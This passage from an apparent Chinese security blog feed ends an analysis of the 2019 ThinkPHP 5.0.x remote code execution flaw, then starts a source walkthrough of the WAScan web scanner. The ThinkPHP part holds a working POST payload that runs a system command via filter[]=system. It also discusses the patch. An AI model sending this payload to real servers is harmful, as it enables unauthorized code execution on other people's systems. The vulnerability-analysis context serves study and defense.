<p>所以对<code>input</code>方法而言，其<code>$data</code>即<code>$this-&gt;server</code>数组，其参数<code>name</code>值为<code>REQUEST_METHOD</code>，在<code>input</code>方法源码如下：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">input</span><span class="params">($data = [], $name = <span class="string">''</span>, $default = null, $filter = <span class="string">''</span>)</span></span></div><div class="line">&#123;</div><div class="line">    ...</div><div class="line">    $name = (string) $name;</div><div class="line">    <span class="keyword">if</span> (<span class="string">''</span> != $name) &#123;</div><div class="line">        ...</div><div class="line">        <span class="keyword">foreach</span> (explode(<span class="string">'.'</span>, $name) <span class="keyword">as</span> $val) &#123;</div><div class="line">            <span class="keyword">if</span> (<span class="keyword">isset</span>($data[$val])) &#123;</div><div class="line">                $data = $data[$val];</div><div class="line">            &#125; <span class="keyword">else</span> &#123;</div><div class="line">                <span class="comment">// 无输入数据，返回默认值</span></div><div class="line">                <span class="keyword">return</span> $default;</div><div class="line">            &#125;</div><div class="line">        &#125;</div><div class="line">       ...</div><div class="line">    &#125;</div><div class="line">    <span class="comment">// 解析过滤器</span></div><div class="line">    $filter = <span class="keyword">$this</span>-&gt;getFilter($filter, $default);</div><div class="line">    <span class="keyword">if</span> (is_array($data)) &#123;</div><div class="line">        array_walk_recursive($data, [<span class="keyword">$this</span>, <span class="string">'filterValue'</span>], $filter);</div><div class="line">        reset($data);</div><div class="line">    &#125; </div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>因此利用前面的<code>__construct</code>，可以通过传入<code>server[REQUEST_METHOD]=dir</code>，使得在经过<code>foreach</code>循环时置<code>$data</code>值为<code>dir</code>，此后调用<code>getFilter</code>，同样实现RCE:</p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/12.jpg?raw=true" alt=""></p>
<p>给出payload：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha</div><div class="line"></div><div class="line">POST:</div><div class="line"></div><div class="line">_method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=whoami</div></pre></td></tr></table></figure></p>
<h1 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h1><p>补丁地址:<a href="https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003" target="_blank" rel="external">https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003</a></p>
<p>问题的根源在于请求方法的获取接收了不可信数据，因此补丁中设置了白名单，如下<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190113/11.jpg?raw=true" alt=""></p>
<h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><p>这里仅仅测试了5.0.22 完整版本。各个版本之间代码有些许差异，payload不一定通用，建议自己调试调试。</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;2019年1月11日，ThinkPHP官方发布&lt;a href=&quot;https://blog.thinkphp.cn/910675&quot;&gt;安全更新&lt;/a&gt;，修复了一个GETSHELL漏洞。现分析如下。&lt;/p&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="php" scheme="http://chybeta.github.io/tags/php/"/>
    
      <category term="命令执行" scheme="http://chybeta.github.io/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
      <category term="thinkphp" scheme="http://chybeta.github.io/tags/thinkphp/"/>
    
  </entry>
  
  <entry>
    <title>WAScan源码阅读</title>
    <link href="http://chybeta.github.io/2019/01/04/WAScan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
    <id>http://chybeta.github.io/2019/01/04/WAScan源码阅读/</id>
    <published>2019-01-04T00:54:01.000Z</published>
    <updated>2019-01-06T09:12:14.106Z</updated>
    
    <content type="html"><![CDATA[<p>WAScan源码阅读</p>
<a id="more"></a>
<p>项目地址：<a href="https://github.com/m4ll0k/WAScan.git" target="_blank" rel="external">https://github.com/m4ll0k/WAScan.git</a><br><img src="https://raw.githubusercontent.com/m4ll0k/WAScan/master/screen/screen.png" alt=""></p>
<h1 id="README"><a href="#README" class="headerlink" title="README"></a>README</h1><ul>
<li>python2.7</li>
</ul>
<h1 id="整体功能"><a href="#整体功能" class="headerlink" title="整体功能"></a>整体功能</h1><h2 id="指纹识别"><a href="#指纹识别" class="headerlink" title="指纹识别"></a>指纹识别</h2><ul>
<li>cms系统 6</li>
<li>web框架 22</li>
<li>cookeis/headers安全</li>
<li>开发语言 9</li>
<li>操作系统 7</li>
<li>服务器 all</li>
<li>防火墙 50+</li>
</ul>
<h2 id="攻击"><a href="#攻击" class="headerlink" title="攻击"></a>攻击</h2><ul>
<li>Bash 命令注入</li>
<li>SQL盲注</li>
<li>溢出</li>
<li>CRLF</li>
<li>头部SQL注入</li>
<li>头部XSS</li>
<li>HTML注入</li>
<li>LDAP注入</li>
<li>本地文件包含</li>
<li>执行操作系统命令</li>
<li>php 代码注入</li>
<li>SQL注入</li>
<li>服务器端注入</li>
<li>Xpath注入</li>
<li>XSS</li>
<li>XML注入</li>
</ul>
<h2 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h2><ul>
<li>Apache状态检测</li>
<li>开放跳转</li>
<li>phpinfo</li>
<li>robots.txt</li>
<li>xst</li>
</ul>
<h2 id="暴力攻击"><a href="#暴力攻击" class="headerlink" title="暴力攻击"></a>暴力攻击</h2><ul>
<li>admin面板</li>
<li>后门</li>
<li>备份目录</li>
<li>备份文件</li>
<li>常规目录</li>
<li>常规文件</li>
<li>隐藏参数</li>
</ul>
<h2 id="信息搜集"><a href="#信息搜集" class="headerlink" title="信息搜集"></a>信息搜集</h2><ul>
<li>信用卡信息</li>
<li>邮箱</li>
<li>私有ip</li>
<li>错误信息</li>
<li>ssn</li>
</ul>
<h1 id="整体结构"><a href="#整体结构" class="headerlink" title="整体结构"></a>整体结构</h1><div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">类型</th>
<th style="text-align:center">名</th>
<th style="text-align:center">作用</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">dir</td>
<td style="text-align:center">lib</td>
<td style="text-align:center">扩展，攻击用到的一些字典等等</td>
</tr>
<tr>
<td style="text-align:center">dir</td>
<td style="text-align:center">plugin</td>
<td style="text-align:center">主要攻击脚本</td>
</tr>
<tr>
<td style="text-align:center">dir</td>
<td style="text-align:center">screen</td>
<td style="text-align:center">一些截图</td>
</tr>
<tr>
<td style="text-align:center">file</td>
<td style="text-align:center">.gitignore</td>
<td style="text-align:center">略</td>
</tr>
<tr>
<td style="text-align:center">file</td>
<td style="text-align:center">LICENSE</td>
<td style="text-align:center">许可证</td>
</tr>
<tr>
<td style="text-align:center">file</td>
<td style="text-align:center">README.md</td>
<td style="text-align:center">介绍</td>
</tr>
<tr>
<td style="text-align:center">file</td>
<td style="text-align:center">wascan.py</td>
<td style="text-align:center">主入口文件</td>
</tr>
</tbody>
</table>
</div>
<p>所有文件<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div><div class="line">94</div><div class="line">95</div><div class="line">96</div><div class="line">97</div><div class="line">98</div><div class="line">99</div><div class="line">100</div><div class="line">101</div><div class="line">102</div><div class="line">103</div><div class="line">104</div><div class="line">105</div><div class="line">106</div><div class="line">107</div><div class="line">108</div><div class="line">109</div><div class="line">110</div><div class="line">111</div><div class="line">112</div><div class="line">113</div><div class="line">114</div><div class="line">115</div><div class="line">116</div><div class="line">117</div><div class="line">118</div><div class="line">119</div><div class="line">120</div><div class="line">121</div><div class="line">122</div><div class="line">123</div><div class="line">124</div><div class="line">125</div><div class="line">126</div><div class="line">127</div><div class="line">128</div><div class="line">129</div><div class="line">130</div><div class="line">131</div><div class="line">132</div><div class="line">133</div><div class="line">134</div><div class="line">135</div><div class="line">136</div><div class="line">137</div><div class="line">138</div><div class="line">139</div><div class="line">140</div><div class="line">141</div><div class="line">142</div><div class="line">143</div><div class="line">144</div><div class="line">145</div><div class="line">146</div><div class="line">147</div><div class="line">148</div><div class="line">149</div><div class="line">150</div><div class="line">151</div><div class="line">152</div><div class="line">153</div><div class="line">154</div><div class="line">155</div><div class="line">156</div><div class="line">157</div><div class="line">158</div><div class="line">159</div><div class="line">160</div><div class="line">161</div><div class="line">162</div><div class="line">163</div><div class="line">164</div><div class="line">165</div><div class="line">166</div><div class="line">167</div><div class="line">168</div><div class="line">169</div><div class="line">170</div><div class="line">171</div><div class="line">172</div><div class="line">173</div><div class="line">174</div><div class="line">175</div><div class="line">176</div><div class="line">177</div><div class="line">178</div><div class="line">179</div><div class="line">180</div><div class="line">181</div><div class="line">182</div><div class="line">183</div><div class="line">184</div><div class="line">185</div><div class="line">186</div><div class="line">187</div><div class="line">188</div><div class="line">189</div><div class="line">190</div><div class="line">191</div><div class="line">192</div><div class="line">193</div><div class="line">194</div><div class="line">195</div><div class="line">196</div><div class="line">197</div><div class="line">198</div><div class="line">199</div><div class="line">200</div><div class="line">201</div><div class="line">202</div><div class="line">203</div><div class="line">204</div><div class="line">205</div><div class="line">206</div><div class="line">207</div><div class="line">208</div><div class="line">209</div><div class="line">210</div><div class="line">211</div><div class="line">212</div><div class="line">213</div><div class="line">214</div><div class="line">215</div><div class="line">216</div><div class="line">217</div><div class="line">218</div><div class="line">219</div><div class="line">220</div><div class="line">221</div><div class="line">222</div><div class="line">223</div><div class="line">224</div><div class="line">225</div><div class="line">226</div><div class="line">227</div><div class="line">228</div><div class="line">229</div><div class="line">230</div><div class="line">231</div><div class="line">232</div><div class="line">233</div><div class="line">234</div><div class="line">235</div><div class="line">236</div><div class="line">237</div><div class="line">238</div><div class="line">239</div><div class="line">240</div><div class="line">241</div><div class="line">242</div><div class="line">243</div></pre></td><td class="code"><pre><div class="line">WAScan</div><div class="line">├── lib</div><div class="line">│   ├── db</div><div class="line">│   │   ├── adminpanel.wascan</div><div class="line">│   │   ├── backdoor.wascan</div><div class="line">│   │   ├── commondir.wascan</div><div class="line">│   │   ├── commonfile.wascan</div><div class="line">│   │   ├── errors</div><div class="line">│   │   │   ├── buffer.json</div><div class="line">│   │   │   ├── ldap.json</div><div class="line">│   │   │   ├── lfi.json</div><div class="line">│   │   │   └── xpath.json</div><div class="line">│   │   ├── openredirect.wascan</div><div class="line">│   │   ├── params.wascan</div><div class="line">│   │   ├── phpinfo.wascan</div><div class="line">│   │   ├── sqldberror</div><div class="line">│   │   │   ├── db2.json</div><div class="line">│   │   │   ├── firebird.json</div><div class="line">│   │   │   ├── frontbase.json</div><div class="line">│   │   │   ├── hsqldb.json</div><div class="line">│   │   │   ├── informix.json</div><div class="line">│   │   │   ├── ingres.json</div><div class="line">│   │   │   ├── maccess.json</div><div class="line">│   │   │   ├── maxdb.json</div><div class="line">│   │   │   ├── mssql.json</div><div class="line">│   │   │   ├── mysql.json</div><div class="line">│   │   │   ├── oracle.json</div><div class="line">│   │   │   ├── postgresql.json</div><div class="line">│   │   │   ├── sqlite.json</div><div class="line">│   │   │   └── sybase.json</div><div class="line">│   │   └── useragent.wascan</div><div class="line">│   ├── handler</div><div class="line">│   │   ├── attacks.py</div><div class="line">│   │   ├── audit.py</div><div class="line">│   │   ├── brute.py</div><div class="line">│   │   ├── crawler.py</div><div class="line">│   │   ├── disclosure.py</div><div class="line">│   │   ├── fingerprint.py</div><div class="line">│   │   ├── fullscan.py</div><div class="line">│   │   └── __init__.py</div><div class="line">│   ├── __init__.py</div><div class="line">│   ├── parser</div><div class="line">│   │   ├── getcc.py</div><div class="line">│   │   ├── getip.py</div><div class="line">│   │   ├── getmail.py</div><div class="line">│   │   ├── getssn.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   └── parse.py</div><div class="line">│   ├── request</div><div class="line">│   │   ├── crawler.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   ├── ragent.py</div><div class="line">│   │   └── request.py</div><div class="line">│   └── utils</div><div class="line">│       ├── check.py</div><div class="line">│       ├── colors.py</div><div class="line">│       ├── dirs.py</div><div class="line">│       ├── exception.py</div><div class="line">│       ├── __init__.py</div><div class="line">│       ├── params.py</div><div class="line">│       ├── payload.py</div><div class="line">│       ├── printer.py</div><div class="line">│       ├── rand.py</div><div class="line">│       ├── readfile.py</div><div class="line">│       ├── settings.py</div><div class="line">│       ├── unicode.py</div><div class="line">│       └── usage.py</div><div class="line">├── LICENSE</div><div class="line">├── plugins</div><div class="line">│   ├── attacks</div><div class="line">│   │   ├── bashi.py</div><div class="line">│   │   ├── blindsqli.py</div><div class="line">│   │   ├── bufferoverflow.py</div><div class="line">│   │   ├── crlf.py</div><div class="line">│   │   ├── headersqli.py</div><div class="line">│   │   ├── headerxss.py</div><div class="line">│   │   ├── htmli.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   ├── ldapi.py</div><div class="line">│   │   ├── lfi.py</div><div class="line">│   │   ├── oscommand.py</div><div class="line">│   │   ├── phpi.py</div><div class="line">│   │   ├── sqli.py</div><div class="line">│   │   ├── ssi.py</div><div class="line">│   │   ├── xpathi.py</div><div class="line">│   │   ├── xss.py</div><div class="line">│   │   └── xxe.py</div><div class="line">│   ├── audit</div><div class="line">│   │   ├── apache.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   ├── open_redirect.py</div><div class="line">│   │   ├── phpinfo.py</div><div class="line">│   │   ├── robots.py</div><div class="line">│   │   └── xst.py</div><div class="line">│   ├── brute</div><div class="line">│   │   ├── adminpanel.py</div><div class="line">│   │   ├── backdoor.py</div><div class="line">│   │   ├── backupdir.py</div><div class="line">│   │   ├── backupfile.py</div><div class="line">│   │   ├── commondir.py</div><div class="line">│   │   ├── commonfile.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   └── params.py</div><div class="line">│   ├── disclosure</div><div class="line">│   │   ├── creditcards.py</div><div class="line">│   │   ├── emails.py</div><div class="line">│   │   ├── errors.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   ├── privateip.py</div><div class="line">│   │   └── ssn.py</div><div class="line">│   ├── fingerprint</div><div class="line">│   │   ├── cms</div><div class="line">│   │   │   ├── adobeaem.py</div><div class="line">│   │   │   ├── drupal.py</div><div class="line">│   │   │   ├── __init__.py</div><div class="line">│   │   │   ├── joomla.py</div><div class="line">│   │   │   ├── magento.py</div><div class="line">│   │   │   ├── plone.py</div><div class="line">│   │   │   ├── silverstripe.py</div><div class="line">│   │   │   └── wordpress.py</div><div class="line">│   │   ├── framework</div><div class="line">│   │   │   ├── apachejackrabbit.py</div><div class="line">│   │   │   ├── asp_mvc.py</div><div class="line">│   │   │   ├── cakephp.py</div><div class="line">│   │   │   ├── cherrypy.py</div><div class="line">│   │   │   ├── codeigniter.py</div><div class="line">│   │   │   ├── dancer.py</div><div class="line">│   │   │   ├── django.py</div><div class="line">│   │   │   ├── flask.py</div><div class="line">│   │   │   ├── fuelphp.py</div><div class="line">│   │   │   ├── grails.py</div><div class="line">│   │   │   ├── horde.py</div><div class="line">│   │   │   ├── __init__.py</div><div class="line">│   │   │   ├── karrigell.py</div><div class="line">│   │   │   ├── larvel.py</div><div class="line">│   │   │   ├── nette.py</div><div class="line">│   │   │   ├── phalcon.py</div><div class="line">│   │   │   ├── play.py</div><div class="line">│   │   │   ├── rails.py</div><div class="line">│   │   │   ├── seagull.py</div><div class="line">│   │   │   ├── spring.py</div><div class="line">│   │   │   ├── symfony.py</div><div class="line">│   │   │   ├── web2py.py</div><div class="line">│   │   │   ├── yii.py</div><div class="line">│   │   │   └── zend.py</div><div class="line">│   │   ├── header</div><div class="line">│   │   │   ├── cookies.py</div><div class="line">│   │   │   ├── header.py</div><div class="line">│   │   │   └── __init__.py</div><div class="line">│   │   ├── __init__.py</div><div class="line">│   │   ├── language</div><div class="line">│   │   │   ├── aspnet.py</div><div class="line">│   │   │   ├── asp.py</div><div class="line">│   │   │   ├── coldfusion.py</div><div class="line">│   │   │   ├── flash.py</div><div class="line">│   │   │   ├── __init__.py</div><div class="line">│   │   │   ├── java.py</div><div class="line">│   │   │   ├── perl.py</div><div class="line">│   │   │   ├── php.py</div><div class="line">│   │   │   ├── python.py</div><div class="line">│   │   │   └── ruby.py</div><div class="line">│   │   ├── os</div><div class="line">│   │   │   ├── bsd.py</div><div class="line">│   │   │   ├── ibm.py</div><div class="line">│   │   │   ├── __init__.py</div><div class="line">│   │   │   ├── linux.py</div><div class="line">│   │   │   ├── mac.py</div><div class="line">│   │   │   ├── solaris.py</div><div class="line">│   │   │   ├── unix.py</div><div class="line">│   │   │   └── windows.py</div><div class="line">│   │   ├── server</div><div class="line">│   │   │   ├── __init__.py</div><div class="line">│   │   │   └── server.py</div><div class="line">│   │   └── waf</div><div class="line">│   │       ├── airlock.py</div><div class="line">│   │       ├── anquanbao.py</div><div class="line">│   │       ├── armor.py</div><div class="line">│   │       ├── asm.py</div><div class="line">│   │       ├── aws.py</div><div class="line">│   │       ├── baidu.py</div><div class="line">│   │       ├── barracuda.py</div><div class="line">│   │       ├── betterwpsecurity.py</div><div class="line">│   │       ├── bigip.py</div><div class="line">│   │       ├── binarysec.py</div><div class="line">│   │       ├── blockdos.py</div><div class="line">│   │       ├── ciscoacexml.py</div><div class="line">│   │       ├── cloudflare.py</div><div class="line">│   │       ├── cloudfront.py</div><div class="line">│   │       ├── comodo.py</div><div class="line">│   │       ├── datapower.py</div><div class="line">│   │       ├── denyall.py</div><div class="line">│   │       ├── dotdefender.py</div><div class="line">│   │       ├── edgecast.py</div><div class="line">│   │       ├── expressionengine.py</div><div class="line">│   │       ├── fortiweb.py</div><div class="line">│   │       ├── hyperguard.py</div><div class="line">│   │       ├── incapsula.py</div><div class="line">│   │       ├── __init__.py</div><div class="line">│   │       ├── isaserver.py</div><div class="line">│   │       ├── jiasule.py</div><div class="line">│   │       ├── knownsec.py</div><div class="line">│   │       ├── kona.py</div><div class="line">│   │       ├── modsecurity.py</div><div class="line">│   │       ├── netcontinuum.py</div><div class="line">│   │       ├── netscaler.py</div><div class="line">│   │       ├── newdefend.py</div><div class="line">│   │       ├── nsfocus.py</div><div class="line">│   │       ├── paloalto.py</div><div class="line">│   │       ├── profense.py</div><div class="line">│   │       ├── radware.py</div><div class="line">│   │       ├── requestvalidationmode.py</div><div class="line">│   │       ├── safe3.py</div><div class="line">│   │       ├── safedog.py</div><div class="line">│   │       ├── secureiis.py</div><div class="line">│   │       ├── senginx.py</div><div class="line">│   │       ├── sitelock.py</div><div class="line">│   │       ├── sonicwall.py</div><div class="line">│   │       ├── sophos.py</div><div class="line">│   │       ├── stingray.py</div><div class="line">│   │       ├── sucuri.py</div><div class="line">│   │       ├── teros.py</div><div class="line">│   │       ├── trafficshield.py</div><div class="line">│   │       ├── urlscan.py</div><div class="line">│   │       ├── uspses.py</div><div class="line">│   │       ├── varnish.py</div><div class="line">│   │       ├── wallarm.py</div><div class="line">│   │       ├── webknight.py</div><div class="line">│   │       ├── yundun.py</div><div class="line">│   │       └── yunsuo.py</div><div class="line">│   └── __init__.py</div><div class="line">├── README.md</div><div class="line">├── screen</div><div class="line">│   ├── screen_2.png</div><div class="line">│   ├── screen_3.png</div><div class="line">│   ├── screen_4.png</div><div class="line">│   ├── screen_5.png</div><div class="line">│   ├── screen_6.png</div><div class="line">│   ├── screen_7.png</div><div class="line">│   ├── screen_8.png</div><div class="line">│   └── screen.png</div><div class="line">└── wascan.py</div><div class="line"></div><div class="line">22 directories, 218 files</div></pre></td></tr></table></figure></p>
<h1 id="入口文件：wascan-py"><a href="#入口文件：wascan-py" class="headerlink" title="入口文件：wascan.py"></a>入口文件：wascan.py</h1><p>主入口文件。会先初始化一些<code>Usage</code>，接受命令行参数并进行相关的前期处理。然后根据参数开始进行扫描。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</div><div class="line">	<span class="keyword">try</span>:</div><div class="line">		wascan().main()</div><div class="line">	<span class="keyword">except</span> KeyboardInterrupt,e: </div><div class="line">		exit(warn(<span class="string">'Exiting... :('</span>))</div></pre></td></tr></table></figure>
<p>定义了一个<code>wascan</code>类，通过<code>getopt.getopt</code>接受命令行参数。对应代码如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">for</span> opt,arg <span class="keyword">in</span> opts:</div><div class="line">	<span class="comment"># CUrl 检查URL ，并规范化</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-u'</span>,<span class="string">'--url'</span>):url = CUrl(arg) </div><div class="line">	<span class="comment"># CScan 检查scan参数是否符合范围</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-s'</span>,<span class="string">'--scan'</span>):scan = CScan(arg) </div><div class="line">	<span class="comment"># CHeaders 传入参数为字符串，调用该函数解析成dict</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-H'</span>,<span class="string">'--headers'</span>):kwargs[<span class="string">'headers'</span>] = CHeaders(arg)</div><div class="line">	<span class="comment"># POST 体的参数  </span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-d'</span>,<span class="string">'--data'</span>):kwargs[<span class="string">'data'</span>] = arg</div><div class="line">	<span class="comment"># 是否进行暴力破解</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-b'</span>,<span class="string">'--brute'</span>):kwargs[<span class="string">'brute'</span>] = <span class="keyword">True</span></div><div class="line">	<span class="comment"># 指定请求方法</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-m'</span>,<span class="string">'--method'</span>):kwargs[<span class="string">'method'</span>] = arg</div><div class="line">	<span class="comment"># 指定 host ，将其值更新到 header头 的 Host字段</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-h'</span>,<span class="string">'--host'</span>):kwargs[<span class="string">'headers'</span>].update(&#123;<span class="string">'Host'</span>:arg&#125;) </div><div class="line">	<span class="comment"># 指定 referer，将其值更新到 header头</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-R'</span>,<span class="string">'--referer'</span>):kwargs[<span class="string">'headers'</span>].update(&#123;<span class="string">'Referer'</span>:arg&#125;)</div><div class="line">	<span class="comment"># 指定 auth</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-a'</span>,<span class="string">'--auth'</span>):kwargs[<span class="string">'auth'</span>] = CAuth(arg) </div><div class="line">	<span class="comment"># 指定 agent</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-A'</span>,<span class="string">'--agent'</span>):kwargs[<span class="string">'agent'</span>] = arg </div><div class="line">	<span class="comment"># 指定 cookie</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-C'</span>,<span class="string">'--cookie'</span>):kwargs[<span class="string">'cookie'</span>] = arg </div><div class="line">	<span class="comment"># 采用随机的 agent</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-r'</span>,<span class="string">'--ragent'</span>):kwargs[<span class="string">'agent'</span>] = ragent()</div><div class="line">	<span class="comment"># 采用代理</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-p'</span>,<span class="string">'--proxy'</span>):kwargs[<span class="string">'proxy'</span>] = arg </div><div class="line">	<span class="comment"># 代理是否要认证</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-P'</span>,<span class="string">'--proxy-auth'</span>):kwargs[<span class="string">'pauth'</span>] = CAuth(arg) </div><div class="line">	<span class="comment"># 指定超时时间</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-t'</span>,<span class="string">'--timeout'</span>):kwargs[<span class="string">'timeout'</span>] = float(arg) </div><div class="line">	<span class="comment"># 对于302情况，是否要跟随，默认为 False不跳转</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-n'</span>,<span class="string">'--redirect'</span>):kwargs[<span class="string">'redirect'</span>] = <span class="keyword">False</span></div><div class="line">	<span class="comment"># 是否开启指纹识别</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-v'</span>,<span class="string">'--verbose'</span>):verbose = <span class="keyword">True</span></div><div class="line">	<span class="comment"># 输出版本信息</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-V'</span>,<span class="string">'--version'</span>):version = Version()</div><div class="line">	<span class="comment"># 输出帮助信息</span></div><div class="line">    <span class="keyword">if</span> opt <span class="keyword">in</span> (<span class="string">'-hh'</span>,<span class="string">'--help'</span>):self.usage.basic(<span class="keyword">True</span>)</div></pre></td></tr></table></figure>
<p><code>scan</code>参数为扫描类型，对应如下：</p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">scan值</th>
<th style="text-align:center">扫描类型</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">0</td>
<td style="text-align:center">指纹Fingerprint</td>
</tr>
<tr>
<td style="text-align:center">1</td>
<td style="text-align:center">攻击Attacks</td>
</tr>
<tr>
<td style="text-align:center">2</td>
<td style="text-align:center">审计Audit</td>
</tr>
<tr>
<td style="text-align:center">3</td>
<td style="text-align:center">爆破Brute</td>
</tr>
<tr>
<td style="text-align:center">4</td>
<td style="text-align:center">信息搜集Disclosure</td>
</tr>
<tr>
<td style="text-align:center">5</td>
<td style="text-align:center">全面扫描</td>
</tr>
</tbody>
</table>
</div>
